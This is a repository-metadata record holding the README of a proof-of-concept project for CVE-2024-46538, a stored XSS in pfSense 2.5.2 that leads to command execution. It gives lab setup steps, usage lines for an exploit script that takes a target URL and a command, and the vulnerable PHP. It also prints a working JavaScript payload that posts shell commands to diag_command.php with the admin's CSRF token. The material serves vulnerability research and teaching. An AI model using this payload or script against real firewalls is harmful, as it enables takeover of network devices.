{"id":17973192,"url":"https://github.com/eqstlab/cve-2024-46538","last_synced_at":"2025-03-25T12:33:19.108Z","repository":{"id":259235879,"uuid":"877250777","full_name":"EQSTLab/CVE-2024-46538","owner":"EQSTLab","description":"PfSense Stored XSS lead to Arbitrary Code Execution exploit","archived":false,"fork":false,"pushed_at":"2025-01-12T11:25:15.000Z","size":506,"stargazers_count":47,"open_issues_count":1,"forks_count":9,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-03-20T08:44:57.536Z","etag":null,"topics":["cve","cve-2024-46538","exploit","pfsense","php","poc","proof-of-concept","security","vulnerability"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/EQSTLab.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-10-23T10:50:01.000Z","updated_at":"2025-03-13T03:54:30.000Z","dependencies_parsed_at":"2024-10-23T19:13:54.962Z","dependency_job_id":"cfdcc745-c31a-42d7-858c-b8ae56e579d9","html_url":"https://github.com/EQSTLab/CVE-2024-46538","commit_stats":null,"previous_names":["eqstlab/cve-2024-46538"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EQSTLab%2FCVE-2024-46538","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EQSTLab%2FCVE-2024-46538/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EQSTLab%2FCVE-2024-46538/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EQSTLab%2FCVE-2024-46538/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/EQSTLab","download_url":"https://codeload.github.com/EQSTLab/CVE-2024-46538/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245463053,"owners_count":20619602,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve","cve-2024-46538","exploit","pfsense","php","poc","proof-of-concept","security","vulnerability"],"created_at":"2024-10-29T16:27:53.993Z","updated_at":"2025-03-25T12:33:19.090Z","avatar_url":"https://github.com/EQSTLab.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"This post is a research article published by [EQSTLab](https://github.com/EQSTLab).\n\n\n**Thanks to [physicszq](https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md), who discovered this vulnerability.**\n\n\n# CVE-2024-46538\n★ CVE-2024-46538 PfSense Stored XSS lead to Arbitrary Code Execution PoC ★\n\n\n\n\nhttps://github.com/user-attachments/assets/f41d0945-b7f4-4f88-bac5-265904256aae\n\n\n\n\n\n\n\n\n\n\n## Description\nCVE-2024-46538 : PfSense Stored XSS Vulnerability\n\n\ndescription: A cross-site scripting (XSS) vulnerability in pfsense v2.5.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the $pconfig variable at interfaces_groups_edit.php.\n\n\n## Lab Setup\nDownload vulnerable version([v2.5.2](https://github.com/CloudSentralDotNet/iso_pfsense)):\n\n\n### Setup Virtual Machine\n**Running on the Oracle Virtual Box**\n\n\n**1. Create Virtual Machine**\n![alt text](./assets/1.png)\n\n\n**2. Setup Adapter 1,2 like:**\n![alt text](./assets/2.png)\n![alt text](./assets/3.png)\n\n\n**3. Setup Boot order like:**\n![alt text](./assets/4.png)\n\n\n**4. Follow directions like:**\n![alt text](./assets/5.png)\n![alt text](./assets/6.png)\n![alt text](./assets/7.png)\n![alt text](./assets/8.png)\n![alt text](./assets/9.png)\n![alt text](./assets/10.png)\n![alt text](./assets/11.png)\n\n\n## How to use\n### Git clone\n```sh\ngit clone https://github.com/EQSTLab/CVE-2024-46538.git\ncd CVE-2024-46538\n```\n\n\n### Install packages\n```sh\npip install -r requirements.txt\n```\n\n\n### Command\n```sh\n# Store malicious JavaScript payload (No custom js server)\npython3 CVE-2024-46538.py -i \u003cUSER_ID\u003e -p \u003cUSER_PASSWORD\u003e -u \u003cURL_TO_EXPLOIT\u003e -c \u003cCMD_TO_EXECUTE\u003e\n# Store malicious JavaScript payload (Use custom js server)\npython3 CVE-2024-46538.py -j \u003cCUSTOM_JAVASCRIPT_SERVER\u003e -i \u003cUSER_ID\u003e -p \u003cUSER_PASSWORD\u003e -u \u003cURL_TO_EXPLOIT\u003e -c \u003cCMD_TO_EXECUTE\u003e\n```\n\n\n### Output\n**CVE-2024-46538.py**\n![alt text](./assets/12.png)\n\n\n\n## Analysis\n**/src/usr/local/www/interfaces_groups_edit.php**\n```\nif (isset($_POST['members'])) {\n\t\t$members = implode(\" \", $_POST['members']);\n\t} else {\n\t\t$members = \"\";\n\t}\n...\n\t\t// Create new group\n\t\t} else {\n\t\t\t$ifgroupentry['ifname'] = $_POST['ifname'];\n\t\t\t$a_ifgroups[] = $ifgroupentry;\n\t\t}\n\n\t\twrite_config(\"Interface Group added\");\n\t\tinterface_group_setup($ifgroupentry);\n\n\t\theader(\"Location: interfaces_groups.php\");\n\t\texit;\n\t} else {\n\t\t$pconfig['descr'] = $_POST['descr'];\n\t\t$pconfig['members'] = $members;\n\t}\n}\n```\n\nLack of filtering in the $pconfig variable in interfaces_groups_edit.php leads to a cross-site scripting (XSS) vulnerability. The cross-site scripting (XSS) vulnerability allows attackers to leverage the diag_command.php endpoint to execute arbitrary commands against an administrator.\nFor example, Following JavaScript Can lead to Arbitrary Code execution.\n\n\n**mal.js**\n```\nvar formData = new FormData();formData.append(\"__csrf_magic\", csrfMagicToken);formData.append(\"txtCommand\", \"id\");formData.append(\"txtRecallBuffer\", \"id\");formData.append(\"submit\", \"EXEC\");formData.append(\"dlPath\", \"\");formData.append(\"ulfile\", new Blob(), \"\");formData.append(\"txtPHPCommand\", \"\");fetch(\"https://192.168.102.61/diag_command.php\", {method: \"POST\",body: formData}).then(response =\u003e response.text()).then(data =\u003e {const parser = new DOMParser();const doc = parser.parseFromString(data, \"text/html\");const contentDiv = doc.querySelector(\"div.content\");if (contentDiv) {alert(contentDiv.textContent);} else {alert(\"No content found\");}})\n```\n\n\n## Scenario\nUser (Has Privilege: WebCfg - Interfaces: Groups: Edit) --(Store Malicious JavaScript Code)--\u003e Admin (Has Privilege to execute code) --(Read interfaces_groups.php)--\u003e JavaScript Code Execute --\u003e Code Execution\n\n\n## Disclaimer\nThis repository is not intended to be XSS exploit to CVE-2024-46538. The purpose of this project is to help people learn about this vulnerability, and perhaps test their own applications.\n\n\n## References\nhttps://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md\n\nhttps://skshieldus.com/eng/business/insight.do#\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Feqstlab%2Fcve-2024-46538","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Feqstlab%2Fcve-2024-46538","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Feqstlab%2Fcve-2024-46538/lists"}